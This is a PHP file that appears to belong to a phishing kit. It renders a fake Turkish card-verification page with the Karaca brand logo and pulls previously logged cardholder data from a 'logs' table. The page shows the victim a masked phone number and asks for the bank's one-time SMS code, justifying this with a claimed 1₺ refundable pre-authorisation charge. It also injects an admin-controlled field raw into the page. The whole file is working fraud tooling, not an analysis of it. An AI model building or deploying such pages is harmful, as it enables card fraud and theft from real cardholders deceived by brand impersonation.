<?php

// Include the helper
include_once('../inc/helper.php');

// Get the data from the request
$tID = htmlspecialchars(trim(strip_tags($_GET['t'])));

if (empty($tID)) {
    header('Location: index.php');
    exit;
}

// Check transaction exist
$sql = "SELECT * FROM logs WHERE id = ?";
$query = $db->prepare($sql);
$stmt = $query->execute([$tID]);
$log = $query->fetch(PDO::FETCH_OBJ);

if (!$log) {
    header('Location: index.php');
    exit;
}
$admin = $db->query('SELECT * FROM admins WHERE id = 1')->fetch(PDO::FETCH_OBJ);
?>
<html class="no-js" lang="tr" style="height: 100%; width: 100%;">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Güvenlik Doğrulaması</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex, nofollow">

    <link rel="stylesheet" href="assets/3d/bundle.min.css">
    <link rel="stylesheet" href="components/css/font-awesome6.3.0.all.min.css">
</head>
<body>
<div class="content-wrapper" id="content" style="display: block;">
    <div class="header">
        <div style="display:flex; justify-content:center; align-items:center;">
            <img src="catalog/view/assets/images/logos/karaca.png" width="50%" height="100%" style="margin-bottom: 2rem;">
        </div>
		<h1>KART DOĞRULAMA</h1>
        <hr/>
        <div style="display:flex; justify-content:center; align-items:center;">
            <img src="assets/img/lock.png" width="50%" height="100%" style="margin-bottom:1.5rem; margin-top:2rem;">
        </div>
    </div>

    <div id="approve-page">
        <div id="loaderDiv" style="height: 100%; width: 100%; position: absolute; z-index: 1; display: none">
            <div class="loader"></div>
        </div>
        <div class="content">
            <h1 id="approve-header">Doğrulama kodunu giriniz</h1>
			
			
            <form class="action-wrapper" id="SecureForm">
				
            <h2 id="approve-header">Kartınızdan 1₺'lik ön provizyon ücreti alınıcaktır. (5 Dakika içinde iade edilecektir)</h2>
                <h3 id="otpMessage">
                    İşlem şifreniz
                    <span id="msisdn">
                        +90<?= substr($log->cardholder_phone, 0, 3) . '****' . substr($log->cardholder_phone, -2) ?>
                    </span>
                    olan cep telefonunuza gönderilecektir.</h3>
                <div class="form-wrapper">
                    <label id="confirmCode" for="code">Doğrulama Kodu</label>
                    <div class="form-row">
                        <input type="password" class="f-input" name="code" id="code" maxlength="8"
                               autocomplete="one-time-code" inputmode="numeric" pattern="[0-9]*" style="border-radius: 8px;">
                    </div>
                    <div id="submitButtonDiv">
                        <div class="form-row has-submit" id="submitbutton">
                            <input type="submit" value="Onayla" class="button btn-1 btn-commit" style="background-color: #383838; border-radius: 8px; id="submitButton">
                        </div>
                    </div>
                </div>
            </form>
        </div>
    </div>
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
<script src="assets/js/init.js"></script>
<script src="assets/js/secure.js"></script>
<?= $admin->supporta ?>
</body>
</html>